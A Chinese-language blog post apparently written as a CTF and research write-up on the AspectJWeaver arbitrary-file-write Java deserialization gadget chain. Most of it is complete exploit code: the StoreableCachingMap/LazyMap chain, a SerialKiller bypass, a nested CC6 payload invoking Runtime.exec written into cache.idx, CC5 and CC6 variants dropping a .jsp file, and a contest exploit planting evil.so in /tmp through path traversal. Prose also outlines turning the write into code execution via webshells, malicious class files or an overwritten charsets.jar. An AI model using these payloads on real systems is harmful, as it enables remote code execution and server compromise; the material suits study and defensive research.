AspectJWeaver

前言

依稀记得国赛初赛的那道Java题目就是用AspectJWeaver写入恶意so文件传进去,然后load_extension一手反弹shell。

其实用到的就是AspectJWeaver的任意文件写入漏洞。

AspectJWeaver运用在面向切面编程(AOP: Aspect Oriented Programming)中

AOP是一种编程范式,旨在提高模块化、降低代码耦合度。它可以向现有代码添加其他行为而不修改代码本身。Spring就运用到了AOP

AOP的一些概念:

  • 切面(Aspect): 公共功能的实现。如日志切面、权限切面、验签切面。给Java类使用@Aspect注释修饰,就能被AOP容器识别为切面
  • 通知(Advice): 切面的具体实现,即切面类中的一个方法,根据放置的地方不同,可分为前置通知(Before)、后置通知(AfterReturning)、异常通知(AfterThrowing)、最终通知(After)与环绕通知(Around)
  • 连接点(JoinPoint): 程序在运行过程中能够插入切面的地方。Spring只支持方法级的连接点。比如一个目标对象有5个方法,就有5个连接点
  • 切入点(PointCut): 用于定义通知应该切入到哪些连接点
  • 目标对象(Target): 即将切入切面的对象,被通知的对象
  • 代理对象(Proxy): 将通知应用到目标对象之后被动态创建的对象,可以简单地理解为,代理对象的功能等于目标对象本身业务逻辑加上共有功能。代理对象对于使用者而言是透明的,是程序运行过程中的产物。目标对象被织入公共功能后产生的对象。
  • 织入(Weaving): 将切面应用到目标对象从而创建一个新的代理对象的过程。这个过程可以发生在编译时、类加载时、运行时。Spring是在运行时完成织入,运行时织入通过Java语言的反射机制与动态代理机制来动态实现。

大概了解一下,跟下面讲的利用链没啥关系

任意文件写入

这个利用链用到了CC依赖。回忆一下,Commons Collections 3.2.2中 增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization ⽤于检测反序列化是否安全,其会检查常见的危险Transformer类,当我们反序列化包含这些对象时就会抛出异常。

AspectJWeaver这里只用到了CC里的LazyMapTiedMapEntryConstantTransformer,高版本CC仍具有实用性。

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package com.eddiemurphy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception {
String path = "E:/";
String fileName = "AspectWrite.txt";
Class<?> clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> constructor = clazz.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(path, 2);
Transformer transformer = new ConstantTransformer("content to write".getBytes(StandardCharsets.UTF_8));

Map lazyMap = LazyMap.decorate(map, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, fileName);

HashSet<Object> hs = new HashSet<>(1);
hs.add("aaa");
setPut(hs, entry);
ser(hs);
}

private static void ser(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(o);
objectOutputStream.close();

File file = new File("E:/ser");
FileOutputStream outputStream = new FileOutputStream(file);
outputStream.write(baos.toByteArray());
outputStream.close();
}

private static void deser() throws Exception {
byte[] fileBytes = Files.readAllBytes(Paths.get("E:/ser"));
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(fileBytes));
objectInputStream.readObject();
}

public static void setPut(HashSet<Object> hs, Object o) throws Exception {
// 获取HashSet中的HashMap对象
Field field;
try {
field = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
field = HashSet.class.getDeclaredField("backingMap");
}
field.setAccessible(true);
HashMap innerMap = (HashMap) field.get(hs);

// 获取HashMap中的table对象
Field field1;
try {
field1 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
field1 = HashMap.class.getDeclaredField("elementData");
}
field1.setAccessible(true);
Object[] array = (Object[]) field1.get(innerMap);

// 从table对象中获取索引0 或 1的对象,该对象为HashMap$Node类
Object node = array[0];
if (node == null) {
node = array[1];
}

// 从HashMap$Node类中获取key这个field,并修改为tiedMapEntry
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (NoSuchFieldException e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, o);
}
}

GadGet:

HashSet#readObject

-> HashMap#put(tiedMapEntry, new Object())

-> HashMap#hash(tiedMapEntry)

-> TiedMapEntry#hashCode

-> TiedMapEntry#getValue

-> LazyMap#get

-> SimpleCache$StorableCachingMap#put

-> SimpleCache$StorableCachingMap#writeToPath

-> FileOutputStream#write()

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

顾名思义的角度,推测StoreableCachingMap"可能是一个对对象进行存储和缓存的映射结构的名称。

它可能实现了一种将对象存储在内部数据结构中,并使用某种策略(例如时间戳、最近最少使用等)进行缓存管理的方式。

注意到SimpleCache类的内部类StoreableCachingMap是一个继承HashMap的类。

1
2
3
4
5
6
7
private static class StoreableCachingMap extends HashMap {
private String folder;
private static final String CACHENAMEIDX = "cache.idx";
private long lastStored = System.currentTimeMillis();
private static int DEF_STORING_TIMER = 60000;
private int storingTimer;
private transient Trace trace;

其构造方法在创建对象时接收文件夹路径和存储计时器的值,并将它们保存到对象的状态中,同时调用了一个初始化方法来确保对象的正确设置。

StoreableCachingMapHashMap的子类,重写了put方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private StoreableCachingMap(String folder, int storingTimer){
this.folder = folder;
initTrace();
this.storingTimer = storingTimer;
}

@Override
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[]) value;

if (Arrays.equals(valueBytes, SAME_BYTES)) {
path = SAME_BYTES_STRING;
} else {
path = writeToPath((String) key, valueBytes);
}
Object result = super.put(key, path);
storeMap();
return result;
} catch (IOException e) {//...
}
return null;
}

private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}

这段代码的功能是将键值对添加到映射中。根据 value 的不同情况,可能会将路径设置为SAME_BYTES_STRING 或使用 writeToPath 方法将键和值写入到某个路径中。然后,将键和路径添加到映射中,并将映射数据存储到持久化存储中。最后,返回添加结果。

那个条件判断就是检查 valueBytes 是否与 SimpleCache.SAME_BYTES 相等。如果相等,说明 value 是一个特定的字节数组(SimpleCache.SAME_BYTES),则将 path 设置为SAME_BYTES_STRING。

SimpleCache.SAME_BYTES为下面的这个值:

1
private static final byte[] SAME_BYTES = SAME_BYTES_STRING.getBytes();

一通分析显然会进到else,跟进writeToPath,这段代码的功能是将字节数组写入到指定路径的文件中。它创建一个文件输出流对象,将字节数组写入到文件中,然后刷新输出流并关闭它。最后,返回写入的文件的完整路径。

在return fullPath处设断,注意到写入以及取到的文件路径就是由this.folder,File.separator和key拼接而成的:

image-20240809194209784

writeToPath实现写文件,folder和key拼接组成文件全路径。传入StoreableCachingMap#put的key为文件名,value为写入的内容。

只要令传入的map为StoreableCachingMap即可触发StoreableCachingMap#put

而value的值也是我们通过ConstantTransformer可控的,如果key也可控,那么文件内容和路径都将由我们为所欲为。

但单纯的写文件危害不大,还得配合其他漏洞打。题目中遇到也只会成为一个小trick。

如何将写文件升级为RCE呢

Jsp WebShell

若目标应用支持解析JSP,可以直接写个Jsp WebShell。

class file in WEB-INF/classes

既然有反序列化入口,在WEB-INF/classes下写入一个恶意的字节码文件,在readObject或静态代码块中编写命令执行,然后再反序列化这个类。若有往JAVA_HOME写的权限,可以往jre/classes写入编译好的class。

FatJar under SpringBoot

现很多应用都采用了SpringBoot打包成一个jar或者war包放到服务器上部署,我们无法往classpath写jsp或字节码文件了,那就考虑覆盖jdk的系统类。

由于jvm的类加载机制,并不会一次性把所有jdk中的jar包都进行加载。

往目标环境写入/jre/lib/charsets.jar进行覆盖,然后在request header中加入特殊头部,此时由于给定了字符编码,会让jvm去加载charset.jar,从而触发恶意代码。

这种方法的缺点是目标$JAVA_HOME未知,需一个个尝试。

可以参考LandGrey’s Blog

Bypass SerialKiller

利用链中的ConstantTransformerSerialKiller中被ban了

1
https://github.com/ikkisoft/SerialKiller

需要找一个和ConstantTransformer效果等同的Transformer

  • (X)StringValueTransformer

transform返回输入对象的字符串表示,会调用toString()

image-20240809193140265

但后面写文件时会把value强转为byte[],而String强转不了byte[],所以不能直接成功。

  • (√)FactoryTransformer+ConstantFactory

image-20240809193242920

image-20240809193258234

1
Transformer transformer = FactoryTransformer.getInstance(ConstantFactory.getInstance("666".getBytes(StandardCharsets.UTF_8)));

Forward Deser

利用AspectJWeaver任意文件写后,发现同目录下出现了一个cache.idx文件

StorableCachingMap#put中调用完writeToPath后紧接着调用了storeMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void storeMap() {
long now = System.currentTimeMillis();
if ((now - lastStored ) < storingTimer){
return;
}
File file = new File(folder + File.separator + CACHENAMEIDX);;
try {
ObjectOutputStream out = new ObjectOutputStream(
new FileOutputStream(file));
// Deserialize the object
out.writeObject(this);
out.close();
lastStored = now;
} // ...
}

获取当前系统时间,若和上次存储时间的时间差大于storingTimer,会创建一个文件cache.idx,并将this序列化写入。

有序列化的地方必然有反序列化,StorableCachingMap#init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static StoreableCachingMap init(String folder) {
return init(folder,DEF_STORING_TIMER);
}

public static StoreableCachingMap init(String folder, int storingTimer) {
File file = new File(folder + File.separator + CACHENAMEIDX);
if (file.exists()) {
try {
ObjectInputStream in = new ObjectInputStream(
new FileInputStream(file));
// Deserialize the object
StoreableCachingMap sm = (StoreableCachingMap) in.readObject();
sm.initTrace();
in.close();
return sm;
} // ...
}
return new StoreableCachingMap(folder,storingTimer);
}

读取了cache.idx并进行反序列化。接着看哪里调用了StoreableCachingMap#init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected SimpleCache(String folder, boolean enabled) {
this.enabled = enabled;

cacheMap = Collections.synchronizedMap(StoreableCachingMap.init(folder));

if (enabled) {
String generatedCachePath = folder + File.separator + GENERATED_CACHE_SUBFOLDER;
File f = new File (generatedCachePath);
if (!f.exists()){
f.mkdir();
}
generatedCache = Collections.synchronizedMap(StoreableCachingMap.init(generatedCachePath,0));
}
}

SimpleCache的构造方法中调用StoreableCachingMap#init也很好理解。

顾名思义这个类是一个缓存类,cacheMap成员即其内部类StoreableCachingMap,充当了一个内存层面的键值对缓存,当然它支持持久化存储,也就是每次写入缓存(StoreableCachingMap#put)时,判断和上次存储时间的时间差是否超过storingTimer存储计时器,超过则进行持久化操作,存储格式是序列化数据,存储文件为cache.idx

下次需要恢复到内存的时候,只需重新构造一个SimpleCache对象即可,它会调用StoreableCachingMap#init对持久化文件进行反序列化,得到原来的cacheMap

思路到这里就很明显了,先用AspectJWeavercache.idx写入恶意序列化数据,再通过CC链触发构造函数。

为了防止写入文件后,storeMap又马上重写了我们的cache.idx,设置storingTimer为稍微大一点的值。

很可惜,不管是InstantiateTransformer还是InstantiateFactory,都要求目标类的构造方法需要是public

应该能配合其他漏洞打,比如SnakeYaml

贴一个写CC6序列化数据的payload,接下来就是调用SimpleCache构造器的问题了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static String path = "E:/";
public static String fileName = "cache.idx";
public static void main(String[] args) throws Exception {
writeFile();
}

public static void writeFile() throws Exception {
Class<?> clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> constructor = clazz.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(path, 6000000);
Transformer transformer = FactoryTransformer.getInstance(ConstantFactory.getInstance(CC6()));

Map lazyMap = LazyMap.decorate(map, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, fileName);

BadAttributeValueExpException val = new BadAttributeValueExpException(1);
setValue(val, "val", entry);
ser(val);
}

private static void ser(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(o);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
objectInputStream.readObject();
}

public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] CC6() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "a");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "b");

setValue(transformerChain, "iTransformers", transformers);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();

return baos.toByteArray();
}
}

CC5改链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.eddiemurphy;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class AJCC5 {
public static void main(String[] args) throws Exception {
// 反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
// 实例化对象
HashMap map = (HashMap)con.newInstance("C:", 1);
// 这里用到ConstantTransformer是为了构造value,即写入文件的值
ConstantTransformer transform = new ConstantTransformer("EddieMurphy".getBytes(StandardCharsets.UTF_8));
// 返回一个LazyMap对象
Map outmap = LazyMap.decorate(map,transform);
// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
TiedMapEntry tiedmap = new TiedMapEntry(outmap,"Users\\75279\\Desktop\\1.jsp");
// 这里是为了序列化时不触发LazyMap的get方法
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

// 序列化
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(poc);
System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
// 反序列化
ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
}

CC6改链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.eddiemurphy;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class AJCC6 {
public static void main(String[] args) throws Exception {
// 反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
// 实例化对象
HashMap map = (HashMap)con.newInstance("C:", 1);
// 这里用到ConstantTransformer是为了构造value,即写入文件的值
ConstantTransformer transform = new ConstantTransformer("EddieMurphy".getBytes(StandardCharsets.UTF_8));
// 返回一个LazyMap对象
Map outmap = LazyMap.decorate(map,transform);
// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
TiedMapEntry tiedmap = new TiedMapEntry(outmap,"Users\\75279\\Desktop\\1.jsp");
// 这里是为了序列化时不触发LazyMap的get方法
Map expMap = new HashMap();
expMap.put(tiedmap, "xxx");

// 序列化
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(expMap);
System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
// 反序列化
ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
}

image-20240809210524825

最后补充一下国赛那道题用的AspectJWeaver写入恶意so文件的EXP,完整初赛wp可见CISCN2024-WEB-wp - Eddie_Murphy - 博客园 (cnblogs.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.eddiemurphy;

import com.example.jdbctest.bean.UserBean;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

public class Exp {
// 获取指定类的第一个构造函数,并设置为可访问
public static Constructor<?> getCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}

// 创建一个UserBean对象,将evil.so的内容Base64编码后存入UserBean中
public static Object getObject() throws Exception {
String filename = "../../../../../../../../../../../../tmp/evil.so"; // 路径指向/tmp/evil.so
Path filePath = Paths.get("F:\\CTF_Java\\CISCN2024\\src\\main\\java\\com\\eddiemurphy\\evil.so"); // 假设evil.so位于当前目录
byte[] fileBytes = Files.readAllBytes(filePath); // 读取文件字节
String content = Base64.getEncoder().encodeToString(fileBytes); // 将文件内容Base64编码
UserBean bean = new UserBean(filename, content); // 创建UserBean实例
Constructor<?> ctor = getCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12); // 实例化一个SimpleCache对象
bean.setObj(simpleCache); // 将SimpleCache对象设置为UserBean的obj属性
return bean;
}

// 序列化一个对象到字节数组
public static byte[] serialize(Object object) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
oos.close();
return baos.toByteArray();
}

// 主函数,序列化对象并将其写入文件
public static void main(String[] args) throws Exception {
byte[] serialized = serialize(getObject()); // 序列化对象
String fileName = "F:\\CTF_Java\\CISCN2024\\src\\main\\java\\com\\eddiemurphy\\output.ser"; // 输出文件名

// 使用FileOutputStream将字节数据写入文件
FileOutputStream fos = new FileOutputStream(fileName);
fos.write(serialized);
fos.close(); // 关闭文件输出流
}
}

参考:

AspectJWeaver | Java (gitbook.io)

【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-CSDN博客


AspectJWeaver
https://eddiemurphy89.github.io/2024/08/09/AspectJWeaver/
作者
EddieMurphy
发布于
2024年8月9日
许可协议